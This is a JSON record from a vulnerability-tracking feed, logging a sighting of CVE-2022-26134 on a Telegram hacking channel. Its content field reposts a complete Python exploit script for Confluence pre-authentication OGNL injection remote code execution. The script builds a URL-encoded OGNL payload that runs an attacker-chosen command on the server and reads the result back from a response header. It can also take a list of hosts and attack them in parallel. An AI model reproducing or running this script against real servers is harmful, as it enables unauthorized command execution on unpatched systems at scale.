{"uuid": "50b0858b-d1ac-4520-b24c-9eeaec33890e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-26134", "type": "seen", "source": "https://t.me/hacking_Attack/56478", "content": "Exploit Collector\nConfluence OGNL Injection Remote Code Execution\n\nhttps://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png Confluence suffers from a pre-authentication remote code execution vulnerability that is leveraged via OGNL injection. All 7.4.17 versions before 7.18.1 are affected.\n\nSHA-256 | 26aa29ff2f763421c60482664f517397136737aa76c3603580bd9bdd40a7e339Download #!/usr/bin/python3\n\n# Exploit Title: Confluence Pre-Auth Remote Code Execution via OGNL Injection\n# Google Dork: N/A\n# Date: 06/006/2022\n# Exploit Author: h3v0x\n# Vendor Homepage: https://www.atlassian.com/\n# Software Link: https://www.atlassian.com/software/confluence/download-archives\n# Version: All &lt; 7.4.17 versions before 7.18.1\n# Tested on: -\n# CVE : CVE-2022-26134\n# https://github.com/h3v0x/CVE-2022-26134\n\nimport sys\nimport requests\nimport optparse\nimport multiprocessing\n\nfrom requests.packages import urllib3\nfrom requests.exceptions import MissingSchema, InvalidURL\nurllib3.disable_warnings()\n\nrequestEngine = multiprocessing.Manager()\nsession = requests.Session()\n\nglobal paramResults\nparamResults = requestEngine.list()\nglobals().update(locals())\n\ndef spiderXpl(url):\nglobals().update(locals())\nif not url.startswith('http'):\nurl='http://'+url\n\nheaders = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36\",\n\"Connection\": \"close\",\n\"Accept-Encoding\": \"gzip, deflate\"}\n\ntry:\nresponse = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)\nif(response.status_code == 302):\nprint('Found: '+url+' // '+ response.headers['X-Cmd-Response'])\n\ninputBuffer = str(response.headers['X-Cmd-Response'])\nparamResults.append('Vulnerable application found:'+url+'\\n''Command result:'+inputBuffer+'\\n')\nelse:\npass\n\nexcept requests.exceptions.ConnectionError:\nprint('[x] Failed to Connect: '+url)\npass\nexcept multiprocessing.log_to_stderr:\npass\nexcept KeyboardInterrupt:\nprint('[!] Stoping exploit...')\nexit(0)\nexcept (MissingSchema, InvalidURL):\npass\ndef banner():\nprint('[-] CVE-2022-26134')\nprint('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \\n')\ndef main():\nbanner()\n\nglobals().update(locals())\n\nsys.setrecursionlimit(100000)\n\nif not optionsOpt.filehosts:\nurl = optionsOpt.url\nspiderXpl(url)\nelse:\nf = open(optionsOpt.filehosts)\nurls = map(str.strip, f.readlines())\n\nmultiReq = multiprocessing.Pool(optionsOpt.threads_set)\ntry:\nmultiReq.map(spiderXpl, urls)\nmultiReq.close()\nmultiReq.join()\nexcept UnboundLocalError:\npass\nexcept KeyboardInterrupt:\nexit(0)\nif optionsOpt.output:\nprint(\"\\n[!] Saving the output result in: %s\" % optionsOpt.output)\n\nwith open(optionsOpt.output, \"w\") as f:\nfor result in paramResults:\nf.write(\"%s\\n\" % result)\nf.close()\n\nif __name__ == \"__main__\":\nparser = optparse.OptionParser()\n\nparser.add_option('-u', '--url', action=\"store\", dest=\"url\", help='Base target uri (ex. http://target-uri/)')\nparser.add_option('-f', '--file', dest=\"filehosts\", help='example.txt')\nparser.add_option('-t', '--threads', dest=\"threads_set\", type=int,default=10)\nparser.add_option('-m', '--maxtimeout', dest=\"timeout\", type=int,default=8)\nparser.add_option('-o', '--output', dest=\"output\", type=str, default='exploit_result.txt')\nparser.add_option('-c', '--cmd', dest=\"command\", type=str, default='id')\noptionsOpt, args = parser.parse_args()\n\nmain() Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:36.958138Z"}